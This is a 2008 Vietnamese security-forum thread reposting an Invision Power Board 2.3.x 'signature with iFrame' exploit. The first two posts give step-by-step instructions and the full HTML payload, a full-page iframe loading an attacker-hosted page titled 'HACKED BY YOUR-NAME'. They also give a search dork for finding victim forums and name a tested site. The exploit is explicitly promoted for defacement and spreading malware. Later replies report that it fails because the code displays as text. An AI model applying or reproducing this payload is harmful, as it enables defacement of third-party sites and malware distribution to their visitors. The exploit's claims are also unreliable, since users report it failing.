Invision Power Board (=2.3.x) - .:: HVAOnline ::.

English | Vietnamese

[Rule]

Rules

[Home]

Main Forum

[Portal]

Portal

[Members]

Member Listing

[Statistics]

Statistics

Search

[Reading Room]

Reading Room
[Register]

[Register]

[Login]

Login [ | https ]

Forum Index

Thông tin new bugs và exploits

Invision Power Board (=2.3.x)

[Announcement] Invision Power Board (=2.3.x)	02/07/2008 01:09:12 (+0700) \| #1 \| 139281

LeeShin
Member

[Minus]

0

[Plus]

Joined: 20/06/2008 11:04:25
Messages: 3
Offline

[PM]

Code:

Tested On: http://www.abarjigs.com/forum/

Effected on:Invision Power Board <=2.3.x

Type:Signature With iFrame

Discovered By:CYBER.DARK.HIMU (SHAHEE_MIRZA)

Google: "style designed by Soi" or "Powered by IP.Board 2.3.1"

Mail: cyber.dark.himu (at) gmail (dot) com [email concealed],shaheemirza (at) gmail (dot) com [email concealed]

#######################################################

HI TO ALL.

HOW TO USE THIS VULN?

ANSWERE IS BELOW>>>>>>>

1.REG WITH VICTIM FORUM

2.GO TO USER CONTROL PANEL

3.EDIT YOUR SIGNATURE ByTHIS CODE

Code: Select all

<html>

<head>

<title>HACKED BY YOUR-NAME</title>

</head>

<body>

<div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0">

<iframe name="iFrame1" width=1024 height=3186 src="http://YOUR-SITE/YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe>

</div>

</body>

</html>

4.AFTER THAT U WILL SEE ALL THE PAGE IS COVERED BY YOUR PAGE

5.GO ANY TOPIC AND POST ANYTHING.

6.AFTER THAT SEE "THE BOOM"

##########################################################

######U CAN USE IT FOR SPREADING MALWARE#################

Cái này có ai gửi chưa nhỉ smilie

smilie

. Nếu có rồi mod xóa dùm mình nhá smilie

smilie

[Print Copy]

[Question] Re: Invision Power Board (=2.3.x)	02/07/2008 01:13:34 (+0700) \| #2 \| 139282

LeeShin
Member

[Minus]

0

[Plus]

Joined: 20/06/2008 11:04:25
Messages: 3
Offline

[PM]

Giải thích thêm tí :

1. Vào forum, đăng kí một tài khoản
2. Sửa lại chữ kí của bạn bằng đoạn code sau
Code:

<html>

<head>

<title>HACKED BY YOUR-NAME</title>

</head>

<body>

<div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0">

<iframe name="iFrame1" width=1024 height=3186 src="http://YOUR-SITE/YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe>

</div>

</body>

</html>

3.Vào 1 topic nào đó post đại 1 bài

.......
Thế thôi smilie

smilie

[Print Copy]

[Question] Re: Invision Power Board (=2.3.x)	03/07/2008 05:24:09 (+0700) \| #3 \| 139608

vnkimlong
Member

[Minus]

0

[Plus]

Joined: 30/08/2007 13:53:14
Messages: 67
Offline

[PM]

Có được đâu, nó hiển thị cả đoạn code đó luôn

[Print Copy]

[Question] Re: Invision Power Board (=2.3.x)	03/07/2008 11:21:19 (+0700) \| #4 \| 139646

chupichu
Elite Member

[Minus]

0

[Plus]

Joined: 16/07/2004 14:17:57
Messages: 229
Location: Lầu Xanh
Offline

[PM]

[Yahoo!]

Có phải forum nào nó cũng active HTML cho thành viên đâu bác ?

Where Have You Gone..

[Print Copy]

[Question] Re: Invision Power Board (=2.3.x)	03/07/2008 11:59:15 (+0700) \| #5 \| 139654

rong_tuech
Locked

[Minus]

0

[Plus]

Joined: 01/01/2007 10:39:36
Messages: 128
Location: C15
Offline

[PM]

[Yahoo!]

Kể cả nó bật HTML cho member thì cũng không work smilie

smilie

smilie

mình thử trên mấy cái 4r cho chạy <marquee> tè le có được đâu smilie

smilie

[Print Copy]

[Question] Re: Invision Power Board (=2.3.x)	08/07/2008 00:12:32 (+0700) \| #6 \| 140311

LeeShin
Member

[Minus]

0

[Plus]

Joined: 20/06/2008 11:04:25
Messages: 3
Offline

[PM]

Cái này hình như dành cho phiên bản 2.3.x trở xuống mà tên tiêu đề ko cho hiển thị cái cái dấu "<" nên đành để vậy smilie

smilie

[Print Copy]

[digg]

[delicious]

[google]

[yahoo]

[technorati]

[reddit]

[stumbleupon]

Go to:

Users currently in here
1 Anonymous

Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 © v2012|0504|218|